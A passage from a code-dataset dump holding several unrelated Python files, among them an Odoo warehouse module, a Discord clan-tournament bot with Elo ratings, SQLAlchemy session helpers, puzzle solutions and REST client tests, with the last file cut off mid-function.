context=context)\n seq_obj.write(cr, uid, warehouse.out_type_id.sequence_id.id, {'name': warehouse.name + _(' Sequence out'), 'prefix': 'SJ/' + warehouse.code + '/%(y)s/%(month)s/', 'padding': 5}, context=context)\n seq_obj.write(cr, uid, warehouse.pack_type_id.sequence_id.id, {'name': warehouse.name + _(' Sequence packing'), 'prefix': 'PACK/' + warehouse.code + '/%(y)s/%(month)s/', 'padding': 5}, context=context)\n seq_obj.write(cr, uid, warehouse.pick_type_id.sequence_id.id, {'name': warehouse.name + _(' Sequence picking'), 'prefix': 'PICK/' + warehouse.code + '/%(y)s/%(month)s/', 'padding': 5}, context=context)\n seq_obj.write(cr, uid, warehouse.int_type_id.sequence_id.id, {'name': warehouse.name + _(' Sequence internal'), 'prefix': 'MU/' + warehouse.code + '/%(y)s/%(month)s/', 'padding': 5}, context=context)\n seq_obj.write(cr, uid, warehouse.interbranch_in_type_id.sequence_id.id, {'name': warehouse.name + _(' Sequence interbranch in'), 'prefix': 'STM/' + warehouse.code + '/%(y)s/%(month)s/', 'padding': 5}, context=context)\n seq_obj.write(cr, uid, warehouse.interbranch_out_type_id.sequence_id.id, {'name': warehouse.name + _(' Sequence interbranch out'), 'prefix': 'SJM/' + warehouse.code + '/%(y)s/%(month)s/', 'padding': 5}, context=context)\n\n return result\n \n \"\"\"\n update stock_location set maximum_qty = -1 where usage = 'internal' and maximum_qty is Null;\n update stock_location set end_date = start_date + interval '2 years' where start_date is not Null;\n update stock_picking_type set code = 'interbranch_in' where name = 'Interbranch Receipts';\n update stock_picking_type set code = 'interbranch_out' where name = 'Interbranch Deliveries';\n \"\"\"\n \nclass dym_warehouse_location(osv.osv):\n _inherit = 'stock.location'\n _columns = {\n 'warehouse_id': fields.many2one('stock.warehouse', 'Warehouse', ondelete='cascade'),\n }\n \nclass dym_warehouse_ir_sequence(osv.osv):\n _inherit = 'ir.sequence'\n _columns = {\n 'picking_type_id': fields.many2one('stock.picking.type', 'Picking Type', ondelete='cascade'),\n }\n \nclass dym_warehouse_stock_picking_type(osv.osv):\n _inherit = 'stock.picking.type'\n _columns = {\n 'default_location_src_id': fields.many2one('stock.location', 'Default Source Location', ondelete=\"restrict\"),\n 'default_location_dest_id': fields.many2one('stock.location', 'Default Destination Location', ondelete=\"restrict\"),\n }\n ","repo_name":"Rizalimami/dym","sub_path":"dym_warehouse/models/dym_warehouse.py","file_name":"dym_warehouse.py","file_ext":"py","file_size_in_byte":18880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"19088585145","text":"#!/usr/bin/python3\n\"\"\"Cties by states\"\"\"\n\nimport MySQLdb\nimport sys\nif __name__ == '__main__':\n db = MySQLdb.connect('localhost', sys.argv[1],\n sys.argv[2], sys.argv[3], 3306)\n cur = db.cursor()\n cur.execute(\"SELECT c.id, c.name, s.name FROM cities AS c\\\n JOIN states AS s ON c.state_id = s.id ORDER BY c.id ASC\")\n res = cur.fetchall()\n for value in res:\n print(value)\n cur.close()\n db.close()\n","repo_name":"FRIDAUS-A/alx-higher_level_programming","sub_path":"0x0F-python-object_relational_mapping/4-cities_by_state.py","file_name":"4-cities_by_state.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"38200128614","text":"import discord\nimport os\nfrom dotenv import load_dotenv\nfrom pymongo import MongoClient\n#setup\nmongo_client=MongoClient()\nmongo_client = MongoClient()\nload_dotenv()\nTOKEN = os.getenv('DISCORD_TOKEN')\nintents = discord.Intents.all()\nclient = discord.Client(intents=intents)\n\n#create database\ndatabase=mongo_client['Tournament']\n\nimport math\n \ndef checkifUserExists(utag):\n guild = client.get_guild()\n #go through our member list and check if the members exist\n \n for member in guild.members:\n\n if str(member)==utag:\n return 1\n\n return 0\n\n\n# Function to calculate the Probability\ndef Probability(rating1, rating2):\n \n return 1.0 * 1.0 / (1 + 1.0 * math.pow(10, 1.0 * (rating1 - rating2) / 400))\n \n \n# Function to calculate Elo rating\n# K is a constant.\n# d determines whether\n# Player A wins or Player B. \n\n#returns a list of updated ELO ranks\ndef EloRating(Ra, Rb, K, d):\n \n \n # To calculate the Winning\n # Probability of Player B\n Pb = Probability(Ra, Rb)\n \n # To calculate the Winning\n # Probability of Player A\n Pa = Probability(Rb, Ra)\n \n # Case -1 When Player A wins\n # Updating the Elo Ratings\n if (d == 1) :\n Ra = Ra + K * (1 - Pa)\n Rb = Rb + K * (0 - Pb)\n \n \n # Case -2 When Player B wins\n # Updating the Elo Ratings\n else :\n Ra = Ra + K * (0 - Pa)\n Rb = Rb + K * (1 - Pb)\n \n\n return [Ra,Rb]\n \ndef checkIfUserIsCaptain(utag,clanname):\n clanscollection=database[\"clans\"]\n cursor=clanscollection.find({'ClanName':clanname})\n result=list(cursor)\n utag=str(utag)\n for x in result:\n print(x[\"ClanMembers\"][0],x[\"ClanMembers\"][1],utag)\n if x[\"ClanMembers\"][0]==utag or x[\"ClanMembers\"][1]==utag:\n return 1\n else:\n return 0\n \n return 0\n\n\ndef searchClanInDatabase(clan):\n clanscollection=database[\"clans\"]\n cursor=clanscollection.find_one({'ClanName':clan})\n return cursor\n\n#function which search the database in the form X declared Y\ndef searchWars(first_clan,second_clan):\n clanscollection=database[\"wars\"]\n cursor=clanscollection.find({'DeclaringClan':first_clan,'DeclaredClan':second_clan,'Status':'Pending'})\n result=list(cursor)\n #check if we can find the war\n if len(result)==0:\n return 0\n\n else:\n return result\n\n \ndef checkIfClanExists(clan):\n clanscollection=database[\"clans\"]\n instance=clanscollection.count_documents({'ClanName':clan})\n return instance\n\n\n\n#registers a new clan into the tournament\ndef register_clan(message):\n #ignore the register_clan command, and split by comma\n args=message.content.split(\",\")\n #get members and clan name\n members=args[2:None]\n clan_name=str(args[1])\n response=\"\"\n #if we have less than 3 members, return\n \n if len(members)<3:\n response='You cannot register a subclan with less than 3 members. Atleast 2 captains and 1 member needed'\n return response\n\n\n #get the clans collection and check if the clan already exists\n clanscollection=database[\"clans\"]\n cursor=clanscollection.find({'ClanName':clan_name,'ClanMembers':members})\n existingclan=list(cursor)\n\n #check if the clan exists in our dictionary\n if len(existingclan)!=0:\n response='clan already registered'\n \n #add a new subclan with a starting ELO of 1000\n else:\n captains=members[0:2]\n if checkifUserExists(captains[0])==1 and checkifUserExists(captains[1])==1:\n record={'ClanName':clan_name,'ClanMembers':members,'elo_standing':1000}\n x=clanscollection.insert_one(record)\n response='Clan has been registered'\n else:\n response=\"Could not register. Captains are not valid tags/not in the server\"\n \n return response\n\n\n#function which displays clans\ndef show_clans(message):\n #get the index of our clans collection\n clanscollection=database[\"clans\"]\n str_message=\"\"\n #go through each entry in our hash table\n cursor=clanscollection.find()\n clans=list(cursor)\n for x in clans:\n clan_name=x[\"ClanName\"]\n list_members=x[\"ClanMembers\"]\n members = ','.join(list_members)\n str_message=str_message+clan_name+\"\\t\\t\"+members+\"\\n\"\n return str_message\n\n\n#displays each clan and their respective ELO\ndef show_rankings(message):\n clanscollection=database[\"clans\"]\n counter=1\n str_message=\"\"\n rankings={}\n #go through each entry in our hash table\n cursor=clanscollection.find()\n clans=list(cursor)\n for x in clans:\n clan_name=x[\"ClanName\"]\n ELO=x[\"elo_standing\"]\n rankings[clan_name]=ELO\n counter=1\n rankings=sorted(rankings.items(), key=lambda x: x[1], reverse=True)\n for x in rankings:\n clan_name=x[0]\n ELO=x[1]\n str_message=str_message+str(counter)+\".\"+str(clan_name)+\"(\"+str(ELO)+\")\"+\"\\n\"\n counter=counter+1\n\n return str_message\n\n\n\ndef show_pendingwars(message):\n warsscollection=database[\"wars\"]\n counter=1\n str_message=\"\"\n #go through each entry in our hash table\n cursor=warsscollection.find({'Status':'Pending'})\n clans=list(cursor)\n for x in clans:\n declaringclan=x[\"DeclaringClan\"]\n declaredclan=x[\"DeclaredClan\"]\n str_message=str_message+str(counter)+\".\"+declaringclan+\" vs \"+declaredclan+\"\\n\"\n counter=counter+1\n return str_message\n\ndef show_scheduledwars(message):\n warsscollection=database[\"wars\"]\n counter=1\n str_message=\"\"\n #go through each entry in our hash table\n cursor=warsscollection.find({'Status':'Scheduled'})\n clans=list(cursor)\n for x in clans:\n declaringclan=x[\"DeclaringClan\"]\n declaredclan=x[\"DeclaredClan\"]\n str_message=str_message+str(counter)+\".\"+declaringclan+\" vs \"+declaredclan+\"\\n\"\n counter=counter+1\n return str_message\n\n \n#function which starts a clan war\ndef clan_war(message):\n args=message.content.split(\",\")\n print(len(args))\n if len(args)!=3:\n return \"invalid command\"\n\n declaring_clan=args[1]\n declared_clan=args[2]\n str_message=\"\"\n\n\n #check if the declaring clan is registed\n if checkIfClanExists(declaring_clan) == 0:\n str_message=str(declaring_clan)+\" is not a registered clan\"\n return str_message\n \n #check if the clan which was declared is registered\n if checkIfClanExists(declared_clan) == 0:\n str_message=str(declared_clan)+\" is not a registered clan\"\n return str_message\n\n\n #add the clan war to our wars collection\n else:\n # wars[declaring_clan]=declared_clan\n # str_message=\"Clan war scheduled\"\n\n #check if the user submitting the war request is a captain\n if checkIfUserIsCaptain(message.author,declaring_clan)==0:\n return (\"You are not a registered captain of: \"+str(declaring_clan))\n\n #insert war into our war database\n else:\n record={'DeclaringClan':declaring_clan,'DeclaredClan':declared_clan,'Status':'Pending'}\n warscollection=database[\"wars\"]\n x=warscollection.insert_one(record)\n str_message='War has been declared by '+declaring_clan+\". Captain from \"+declared_clan+\" must accept before the war can continue.\"\n \n return str_message\n\n\n#function which displays help\ndef _help():\n help_message=\"List of supported commands\"\n registerclan=\"\\n$register_clan:registers a new clan, ie $register_clan eXer Aero(C) Astronaut(C)\"\n showclans=\"\\n$show_clans: shows the clans currently registered\"\n clan_war=\"\\n$clan_war: war declare, ie $clan_war eXer TA\"\n str_message=help_message+registerclan+showclans+clan_war\n return str_message\n#function which updates elo in database\ndef update_Elo(winningclan,losingclan):\n clansCollection=database[\"clans\"]\n Firstclan=searchClanInDatabase(winningclan)\n Secondclan=searchClanInDatabase(losingclan)\n FirstclanMMR=Firstclan[\"elo_standing\"]\n SecondclanMMR=Secondclan[\"elo_standing\"]\n\n ELOChange=EloRating(FirstclanMMR,SecondclanMMR, 30, 1)\n #update ELO standings in the dictionary\n print(ELOChange[0],ELOChange[1])\n clansCollection.update_one({'ClanName':winningclan},{\"$set\":{'elo_standing':ELOChange[0]}})\n clansCollection.update_one({'ClanName':losingclan},{\"$set\":{'elo_standing':ELOChange[1]}})\n\ndef accept_declaration(message):\n args=message.content.split(\",\")\n warscollection=database[\"wars\"]\n #if we have less than 2 arguments, return\n if len(args)!=4:\n return \"invalid command\"\n declaredClan=str(args[1])\n str_message=str(args[2])\n declaringClan=str(args[3])\n\n if checkIfUserIsCaptain(message.author,declaredClan)==0:\n return (\"You are not a registered captain of: \"+str(declaredClan))\n\n if str_message==\"accept\":\n war=searchWars(declaringClan,declaredClan) \n if war==0:\n return \"war does not exist\"\n else:\n warscollection.update_one({'DeclaringClan':declaringClan,'DeclaredClan':declaredClan,'Status':'Pending'},{\"$set\":{'Status':'Scheduled'}})\n return \"war between \"+declaredClan+ \" and \" + declaringClan + \" has been confirmed\"\n\n\n#submit a win or loss\ndef submit_result(message):\n clansCollection=database[\"clans\"]\n warscollection=database[\"wars\"]\n #tokenize message\n #messages should be in the form of x _beat y\n args=message.content.split(\",\")\n #if we have less than 2 arguments, return\n if len(args)!=4:\n return \"invalid command\"\n Firstclan=str(args[1])\n decision=str(args[2])\n Secondclan=str(args[3])\n #make sure the clans exist in the DB before checking captains\n if len(searchClanInDatabase(Firstclan)) == 0:\n str_message=str(Firstclan)+\" is not a registered clan\"\n return str_message\n \n #check if the clan which was declared is registered\n if len(searchClanInDatabase(Secondclan)) == 0:\n str_message=str(Secondclan)+\" is not a registered clan\"\n return str_message\n\n #if beat is called\n if decision==\"_beat\":\n\n #if the user is not a captain, ignore the war request\n if checkIfUserIsCaptain(message.author,Firstclan)==0 and checkIfUserIsCaptain(message.author,Secondclan)==0:\n return (\"You are not a registered captain of: \"+str(Firstclan)+\" or \"+str(Secondclan))\n\n #otherwise submit the war result\n else:\n\n #look for the war declaration\n resultNumber=warscollection.count_documents({'DeclaringClan':Firstclan,'DeclaredClan':Secondclan, 'Status':'Scheduled'})\n \n #try both combinations of declaring clan and declared clan\n if resultNumber==1:\n update_Elo(Firstclan,Secondclan)\n warscollection.update_one({'DeclaringClan':Firstclan,'DeclaredClan':Secondclan, 'Status':'Scheduled'},{\"$set\":{'Status':'Done'}})\n return \"War concluded\"\n else:\n resultNumber=warscollection.count_documents({'DeclaringClan':Secondclan,'DeclaredClan':Firstclan})\n if resultNumber==1:\n update_Elo(Firstclan,Secondclan)\n warscollection.update_one({'DeclaringClan':Secondclan,'DeclaredClan':Firstclan, 'Status':'Scheduled'},{\"$set\":{'Status':'Done'}})\n return \"War concluded\"\n else:\n return \"Could not find war\"\n\n \n\n\n \n\n\n\n@client.event\nasync def on_ready():\n print('We have logged in as {0.user}'.format(client))\n\n@client.event\nasync def on_message(message):\n response=\"\"\n if message.author ==client.user:\n return\n\n#method to register a new clan\n\n if message.content.startswith('$register_clan'):\n response=register_clan(message)\n await message.channel.send(response)\n \n \n #check if a user wants to show clans\n elif message.content.startswith('$show_clans'):\n await message.channel.send('Showing Clans. . .')\n await message.channel.send('Clan Name\\tMembers\\n')\n response=show_clans(message)\n #error check if there are no subclans\n if len(response)>0:\n await message.channel.send(response)\n else:\n return\n\n #check if user wants to see rankings\n elif message.content.startswith('$show_rankings'):\n await message.channel.send('Leaderboards')\n response=show_rankings(message)\n\n #check if the response is null(no subclans registered)\n if len(response)>0:\n await message.channel.send(response)\n else:\n return \n\n #check if user wants to see wars\n elif message.content.startswith('$show_pendingwars'):\n await message.channel.send('Current Wars which have not been confirmed: ')\n response=show_pendingwars(message)\n\n #check if the response is null(no subclans registered)\n if len(response)>0:\n await message.channel.send(response)\n else:\n return\n elif message.content.startswith('$show_scheduledwars'):\n await message.channel.send('Current Wars which have been scheduled: ')\n response=show_scheduledwars(message)\n\n #check if the response is null(no subclans registered)\n if len(response)>0:\n await message.channel.send(response)\n else:\n return \n\n\n elif message.content.startswith('$clan_war'):\n response=clan_war(message)\n await message.channel.send(response)\n \n elif message.content.startswith('$war_declaration'):\n response=accept_declaration(message)\n await message.channel.send(response) \n \n elif message.content.startswith('$submit_result'):\n response=submit_result(message)\n await message.channel.send(response)\n\n elif message.content.startswith('$help'):\n response=_help()\n await message.channel.send(response)\n\n \n\n\n\nclient.run(TOKEN)\n\n","repo_name":"StarGalactic21/Tournament-Bot","sub_path":"Tournament.py","file_name":"Tournament.py","file_ext":"py","file_size_in_byte":13461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20258896705","text":"import logging\n\nfrom sqlalchemy import create_engine, inspect\nfrom sqlalchemy.dialects.postgresql.base import PGInspector\n\n# from sqlalchemy.dialects.postgresql import ARRAY\n# from sqlalchemy.orm import scoped_session, sessionmaker\nfrom sqlalchemy.orm import Session, scoped_session, sessionmaker\n\nfrom labfunctions.db.common import Base\n\n\ndef drop_everything(engine):\n \"\"\"(On a live db) drops all foreign key constraints before dropping all tables.\n Workaround for SQLAlchemy not doing DROP ## CASCADE for drop_all()\n (https://github.com/pallets/flask-sqlalchemy/issues/722)\n \"\"\"\n from sqlalchemy.engine.reflection import Inspector\n from sqlalchemy.schema import (\n DropConstraint,\n DropTable,\n ForeignKeyConstraint,\n MetaData,\n Table,\n )\n\n con = engine.connect()\n trans = con.begin()\n # inspector = Inspector.from_engine(engine)\n inspector = inspect(engine)\n\n # We need to re-create a minimal metadata with only the required things to\n # successfully emit drop constraints and tables commands for postgres (based\n # on the actual schema of the running instance)\n meta = MetaData()\n tables = []\n all_fkeys = []\n\n for table_name in inspector.get_table_names():\n fkeys = []\n\n for fkey in inspector.get_foreign_keys(table_name):\n if not fkey[\"name\"]:\n continue\n\n fkeys.append(ForeignKeyConstraint((), (), name=fkey[\"name\"]))\n\n tables.append(Table(table_name, meta, *fkeys))\n all_fkeys.extend(fkeys)\n\n for fkey in all_fkeys:\n con.execute(DropConstraint(fkey))\n\n for table in tables:\n con.execute(DropTable(table))\n\n trans.commit()\n\n\nclass SQL:\n def __init__(self, sqluri: str, pool_size=20, max_overflow=0, inspector=False):\n \"\"\"\n :param sqluri: 'postgresql://postgres:secret@localhost:5432/twitter'\n \"\"\"\n self._uri = sqluri\n if \"sqlite\" in sqluri.split(\"://\", maxsplit=1)[0]:\n self.engine = create_engine(sqluri)\n else:\n self.engine = create_engine(\n sqluri, pool_size=pool_size, max_overflow=max_overflow\n )\n\n if inspector:\n self.inspector: PGInspector = inspect(self.engine)\n self.logger = logging.getLogger(__name__)\n self.logger.addHandler(logging.NullHandler())\n\n def create_all(self):\n Sess = self.scoped_session()\n with Sess() as session:\n with session.begin():\n Base.metadata.create_all(self.engine)\n\n def drop_all(self):\n # Sess = self.scoped_session()\n # with Sess() as session:\n # with session.begin():\n # Base.metadata.drop_all(self.engine)\n drop_everything(self.engine)\n\n def list_tables(self):\n return self.inspector.get_tables_names()\n\n def sessionmaker(self, autoflush=True):\n \"\"\"Session could be used as context manager\n Autocommit will be deprecated in SQLAlchemy 2.0\n Session.begin() method may be used to explicitly start transactions\n\n :param autoflush: When True, all query operations will issue a Session.\n flush() call to this Session before proceeding. Flush\n \"\"\"\n\n session = sessionmaker(bind=self.engine, autoflush=autoflush, future=True)\n return session\n\n def scoped_session(self, autoflush=True) -> Session:\n \"\"\"Scoped session return a Session object that could be used\n with a context manager\n\n https://docs.sqlalchemy.org/en/14/orm/session_basics.html#opening-and-closing-a-session\n\n \"\"\"\n SSession = scoped_session(sessionmaker(autoflush=autoflush, bind=self.engine))\n\n return SSession\n","repo_name":"nuxion/labfunctions","sub_path":"labfunctions/db/sync.py","file_name":"sync.py","file_ext":"py","file_size_in_byte":3722,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"} +{"seq_id":"13977840855","text":"#!/bin/python3\n\"\"\"\nhttps://www.hackerrank.com/challenges/three-month-preparation-kit-plus-minus/problem\n\nAuthor: Victor Payno (https://github.com/vpayno/hackerrank-workspace)\n\"\"\"\n\nimport collections\nimport sys\nfrom typing import List, Optional, OrderedDict\n\n\nclass Challenge:\n \"\"\"\n Week 1 - Plus Minus\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Set the precision to 6.\n \"\"\"\n\n def __str__(self) -> str:\n \"\"\"\n String representation of the class.\n \"\"\"\n\n return self.__class__.__name__\n\n def plusMinus(self, arr: Optional[List[int]]) -> List[float]:\n \"\"\"\n Given an array of integers, calculate the ratios of its elements\n that are positive, negative, and zero. Print the decimal value of\n each fraction on a new line with 6 places after the decimal.\n \"\"\"\n # pylint: disable=invalid-name,no-self-use\n\n # added in-line if to fix:\n # error: Argument 1 to \"len\" has incompatible type \"Optional[List[int]]\"; expected \"Sized\"\n size: int = len(arr) if arr is not None else 0\n\n counter: OrderedDict[str, int] = collections.OrderedDict({\n \"positive\": 0,\n \"negative\": 0,\n \"zero\": 0\n })\n\n result: List[float] = []\n\n number: float = 0.0\n\n # added or [] to fix:\n # error: Item \"None\" of \"Optional[List[int]]\" has no attribute \"__iter__\" (not iterable)\n for number in arr or []:\n if number > 0:\n counter[\"positive\"] += 1\n elif number < 0:\n counter[\"negative\"] += 1\n else:\n counter[\"zero\"] += 1\n\n for _, value in counter.items():\n result.append(value / size)\n\n for number in result:\n print(f\"{number:.6f}\")\n\n return result\n\n\nif __name__ == \"__main__\": # pragma: nocover\n input_size: Optional[int] = None if sys.argv[1] is None else int(\n sys.argv[1])\n user_input: Optional[List[int]] = (None if sys.argv[2] is None else\n [int(_) for _ in sys.argv[2].split(\" \")])\n\n length: Optional[int] = 0\n array: Optional[List[int]] = []\n\n if not input_size and not user_input:\n length = int(input().strip())\n array = list(map(int, input().rstrip().split()))\n else:\n length = input_size\n array = user_input\n\n program = Challenge()\n\n output: List[float] = program.plusMinus(array)\n","repo_name":"vpayno/hackerrank-workspace","sub_path":"prep-kit-3-months/week01/01-plus_minus/src/challenge/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"36892140397","text":"def removeJunk(line):\n new_line = \"\"\n i = 0\n while i < len(line):\n if line[i] == \"!\":\n i += 2\n else:\n new_line += line[i]\n i += 1\n return new_line\n\ndef removeGarbage(line):\n new_line = \"\"\n i = 0\n ngarbage = 0\n while i < len(line):\n if line[i] == \"<\":\n ngarbage += 1\n v = line[i:].find(\">\")\n i += v+1\n else:\n new_line += line[i]\n i += 1\n print (\"🎁🎄Part 2: {}\".format(len(line) - len(new_line) - ngarbage*2))\n return new_line\n\ndef findGroup(line, nest=0, score=0):\n i = 0\n while i < len(line):\n if line[i] == \"{\":\n nest += 1\n off, nest, score = findGroup(line[i+1:], nest, score)\n i += off+1\n elif line[i] == \"}\":\n score += nest\n nest -= 1\n i += 1\n return i, nest, score\n else:\n i += 1\n return i, nest, score\n \nline = \"\"\nwith open(\"input_9.txt\") as f:\n for l in f:\n if l.startswith(\"###\"):\n break\n line = l.split(\"\\n\")[0]\n line = removeGarbage(removeJunk(line))\n print (\"🎄Part 1: {}\".format(findGroup(line)[-1]))\n \n","repo_name":"matteosan1/AoC","sub_path":"2017/9.py","file_name":"9.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"13942394573","text":"from __future__ import absolute_import\nimport json\nfrom rest_framework.test import APITestCase, APIClient\nfrom dynamic_rest_client import DRESTClient\nfrom dynamic_rest_client.exceptions import (\n BadRequest, DoesNotExist\n)\nfrom six import string_types\nfrom tests.setup import create_fixture\nfrom six.moves.urllib.parse import urlencode\n\n\nclass MockSession(object):\n\n \"\"\"requests.session compatibility adapter for DRESTClient.\"\"\"\n\n def __init__(self, client):\n self._client = client or APIClient()\n self.headers = {}\n\n def request(self, method, url, params=None, data=None):\n def make_params(params):\n list_params = []\n for key, value in params.items():\n if isinstance(\n value, string_types\n ) or not isinstance(value, list):\n value = [value]\n for v in value:\n list_params.append((key, v))\n return urlencode(list_params)\n\n url = '%s%s' % (\n url,\n ('?%s' % make_params(params)) if params else ''\n )\n if data and isinstance(data, string_types):\n data = json.loads(data)\n response = getattr(self._client, method)(url, data=data)\n content = response.content.decode('utf-8')\n response.content = content\n return response\n\n\nclass ClientTestCase(APITestCase):\n\n def setUp(self):\n self.fixture = create_fixture()\n self.drest = DRESTClient(\n 'test', client=MockSession(self.client)\n )\n\n def test_get_all(self):\n users = self.drest.Users.all().list()\n self.assertEquals(len(users), len(self.fixture.users))\n self.assertEquals(\n {user.name for user in users},\n {user.name for user in self.fixture.users}\n )\n\n def test_get_filter(self):\n users = self.drest.Users.filter(id=self.fixture.users[0].id).list()\n self.assertEquals(1, len(users))\n self.assertEquals(users[0].name, self.fixture.users[0].name)\n\n def test_get_one(self):\n fixed_user = self.fixture.users[0]\n pk = fixed_user.pk\n user = self.drest.Users.get(pk)\n self.assertEquals(user.name, fixed_user.name)\n # test dict get\n self.assertEquals(user['name'], fixed_user.name)\n self.assertEquals(user.get('name'), fixed_user.name)\n self.assertEquals(user.get('foobar'), None)\n\n def test_get_include(self):\n users = self.drest.Users.including('location.*').list()\n self.assertEquals(users[0].location.name, '0')\n\n def test_get_map(self):\n users = self.drest.Users.map()\n id = self.fixture.users[0].pk\n self.assertEquals(users[id].id, id)\n\n def test_get_exclude(self):\n user = self.fixture.users[0]\n users = self.drest.Users.exclude(name=user.name).map()\n self.assertTrue(user.pk not in users)\n\n def test_get_including_related_save(self):\n users = self.drest.Users.including('location.*').list()\n user = users[0]\n location = user.location\n _location = self.drest.Locations.map()[location.id]\n self.assertTrue(\n location.name in {l.name for l in self.fixture.locations}\n )\n _location.name = 'foo'\n _location.save()\n location.reload()\n self.assertTrue(_location.name, location.name)\n self.assertTrue(location.name, 'foo')\n\n def test_get_excluding(self):\n users = self.drest.Users.excluding('*').map()\n pk = self.fixture.users[0].pk\n self.assertEquals(users[pk].id, pk)\n\n def test_update(self):\n user = self.drest.Users.first()\n user.name = 'foo'\n user.save()\n user = self.drest.Users.first()\n self.assertTrue(user.name, 'foo')\n\n user['name'] = 'bar'\n user.save()\n user = self.drest.Users.first()\n self.assertTrue(user['name'], 'bar')\n\n def test_create(self):\n user = self.drest.Users.create(\n name='foo',\n last_name='bar'\n )\n self.assertIsNotNone(user.id)\n\n def test_init_record(self):\n user = self.drest.Users(\n name='bar',\n last_name='foo'\n )\n self.assertIsNone(user.id)\n user.save()\n self.assertIsNotNone(user.id)\n\n def test_invalid_resource(self):\n with self.assertRaises(DoesNotExist):\n self.drest.Foo.create(name='foo')\n with self.assertRaises(DoesNotExist):\n self.drest.Foo.filter(name='foo').list()\n\n def test_save_invalid_data(self):\n user = self.drest.Users.first()\n user.date_of_birth = 'foo'\n with self.assertRaises(BadRequest):\n user.save()\n\n def test_get_invalid_data(self):\n with self.assertRaises(DoesNotExist):\n self.drest.Users.get('does-not-exist')\n\n def test_extra_pagination(self):\n users = list(self.drest.Users.all().extra(per_page=1))\n users2 = list(self.drest.Users.all())\n self.assertEquals(users, users2)\n\n name = users[0].name\n users_named = list(self.drest.Users.extra(name=name))\n self.assertTrue(len(users_named), 1)\n self.assertTrue(users_named[0].name, name)\n\n def test_save_deferred(self):\n user = self.drest.Users.excluding('*').first()\n user.name = 'foo'\n user.save()\n\n user2 = self.drest.Users.filter(name='foo').first()\n self.assertIsNotNone(user2)\n self.assertEquals(user2.id, user.id)\n\n def test_delete(self):\n user = self.drest.Users.first()\n id = user.id\n user.delete()\n self.assertIsNone(user.id)\n self.assertIsNone(self.drest.Users.filter(id=id).first())\n\n def test_sort(self):\n users = self.drest.Users.sort('name').list()\n self.assertEquals(\n users,\n list(sorted(users, key=lambda x: x.name))\n )\n\n def test_mocks(self):\n mock_users = [{\n 'id': 1,\n 'name': 'test'\n }]\n drest = DRESTClient(\n 'test',\n client=MockSession(self.client),\n mocks={\n 'users': mock_users\n }\n )\n users = drest.users.list()\n try:\n mus = [u.dict for u in users]\n except AttributeError:\n mus = [u for u in users]\n self.assertEquals(mus, mock_users)\n","repo_name":"AltSchool/dynamic-rest-client","sub_path":"tests/test_client.py","file_name":"test_client.py","file_ext":"py","file_size_in_byte":6412,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"36752443244","text":"def solution(depts, budget):\n # 신청 금액 오름차순 정렬\n depts = sorted(depts)\n \n # 최대 지원 가능 수\n count = 0\n\n for dept in depts:\n # 지원 가능한 경우\n if budget - dept >= 0:\n count += 1\n budget -= dept\n # 지원 불가능한 경우 \n else:\n break\n \n return count","repo_name":"sieukim/algorithm-programmers","sub_path":"level1/ex52.py","file_name":"ex52.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"38042674846","text":"from get_index import BaiduIndex\nfrom SQL_main import insert_sql\ndef Search_main(time):\n name_list1 = ['蔡徐坤','陈立农','范丞丞', '黄明昊','林彦俊']\n baidu_index = BaiduIndex(name_list1, time, time)\n for name in name_list1:\n all = baidu_index(name,\"all\")\n pc = baidu_index(name,\"pc\")\n wise = baidu_index(name,\"wise\")\n date = all[0][\"date\"]\n all_index = int(all[0][\"index\"])\n pc_index = int(pc[0][\"index\"])\n wise_index = int(wise[0][\"index\"])\n insert_sql('BaiduSearchIndex', name, date,all_index ,pc_index,wise_index)\n name_list2 = ['朱正廷','王子异','小鬼','尤长靖']\n baidu_index2 = BaiduIndex(name_list2, time, time)\n for name in name_list2:\n all = baidu_index2(name, \"all\")\n pc = baidu_index2(name, \"pc\")\n wise = baidu_index2(name, \"wise\")\n date = all[0][\"date\"]\n all_index = int(all[0][\"index\"])\n pc_index = int(pc[0][\"index\"])\n wise_index = int(wise[0][\"index\"])\n insert_sql('BaiduSearchIndex', name, date, all_index, pc_index, wise_index)","repo_name":"Kandy990125/baidu_spider_master","sub_path":"Get_Search_Index_main.py","file_name":"Get_Search_Index_main.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"37747708280","text":"import numpy as np\n#Version where y is belief state\n\ndef V(Q, y, h, done, p, q, L, A, V_saved, A_saved, M = 20):\n '''\n Recursive implementation of bellman operator\n '''\n #Convert y from discretized version to real_valued\n y = y/M\n \n #If epidemic is over, return number of infected\n if done or h == 0:\n return y.sum()\n\n #Check if we already computed this\n name = str(Q)+'-'+str(y)+'-'+str(h)\n if name in V_saved:\n return V_saved[name]\n\n \n #Compute R (# infected people healthy people are connected to)\n R = computeR(Q,y,A)\n \n #Generate list of possible testing strategies for this Q\n tests = generatePossibleTests(Q,L)\n \n #Compute value\n Q_values = [computeQ(test, Q, y, h, R, p, q, L, A, V_saved, A_saved, M) for test in tests]\n V_saved[name] = np.min(Q_values)\n A_saved[name] = tests[np.argmin(Q_values)]\n \n return V_saved[name]\n \n \ndef generatePossibleTests(Q, L):\n '''\n Helper function to generate list of all possible tests\n '''\n tests = None\n #Adjust L to be min of number of tests or number of people that we can test\n L = min(L, Q.sum())\n \n #Iteratively build up possible\n for i in range(len(Q)):\n \n if tests is not None:\n base = np.ones(tests.shape[0]).reshape((tests.shape[0],1)).astype(np.bool)\n \n #If node is removed from graph then we can't test it\n if Q[i] == 0:\n if tests is None:\n tests = 